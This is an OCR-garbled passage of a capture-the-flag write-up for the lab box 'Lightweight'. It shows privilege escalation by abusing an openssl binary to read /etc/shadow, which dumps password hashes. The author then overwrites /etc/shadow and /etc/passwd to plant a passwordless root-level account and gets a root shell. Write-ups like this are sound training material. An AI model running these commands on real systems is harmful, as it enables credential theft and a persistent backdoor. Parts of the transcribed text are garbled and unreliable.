[1dapuseriglightweight ~1$ ./openssl enc -in /etc/shadow
root:$6%$eV0z8tIs$xpjymySBFFeCIHg%a.BoKZeyPReKd7pwoXnxFNOa7TPS1tNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ@Po6NS. 117
711:0:99999:7 :::

bin:#:17632:0:99999:7 :::

daemon:*:17632:0:99999:

SYNnc:*:17632:0:99999:7 :::
shutdown:*:17632:0:99999:7 :::
halt:*:17632:0:99999:7 :::
mail:*:17632:8:99999:7 :::
operator:*:17632:0:99999:7 :::
games:*:17632:0:99999:7 :::
ftp:*:17632:0:99999:7 ::
nobody:#:17632:0:99999:
systemd-network: !! :
dbus: !! :17689::
polkitd: !!:
apache: !l :
libstoragemgmt :

1:17689::

p:

ldap: !! :17691::

saslauth: !! 117691
ldapuser1:$6$0Z2fvin9v$2gh4EFIrLWShZEEZrVn4i8bYfXMyiPp24500dPwilSyGOHYksVd8dCTgeDt3 f fgmwmRYw49cMFueNZNOoI6A
1.:17691:365:99999:7 :::

ldapuser2:$6$xJIxPjToM$1m8kMAOCIYCAg2 T4qzB8TQwyGFQvk3boaymuAmMZCOFfm30A70KunLZZ1qytUp2dun5090BE2 xwX/QEf jdRQzg
n1:17691:365:99999:7 :::

10.10.14.2:clIFBL7EDS1H6:17851:0:99999:7 :::

10.10.14.12:dpioxaT2BBsNM:18569:0:99999:7 :::
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And as this can also write files I created copies of /etc/shadow and /etc/passwd in /tmp and added a
new user to them with the root accounts permissions and no password.

[ldapuserialightweight ~]$ tail -n1 /tmp/.shadow
driggzzzz::17711:0:99999:7 :::

[ldapuserialightweight ~]$ tail -n1 /tmp/.passwd
driggzzzz :: @:@:root:/root:/bin/bash

I then used openssl to overwrite shadow and passwd with the modified files. Su'ing to the created
user grants a shell as the root account.

[ldapuseri@glightweight ~]$ cat /tmp/.shadow | ./openssl enc -out /etc/shadow
[1dapuseri@lightweight ~]$ cat /tmp/.passwd | ./openssl enc -out /etc/passwd
[ldapuseriaglightweight ~]$ su - driggzzzz

Last login: Thu Dec & 14:09:41 GMT 2018 on ttyl

[root@lightweight ~M whoami; hostname; id; cat /root/root.txt

root

lightweight.htb

uid=0(root) gid=@(root) groups=8(root) context=unconfined_u:unconfined_r:unconfined_t:s@0-s@:c0.c1023
fld4ée3@9c5abb3fffff74a8f4b2135fa
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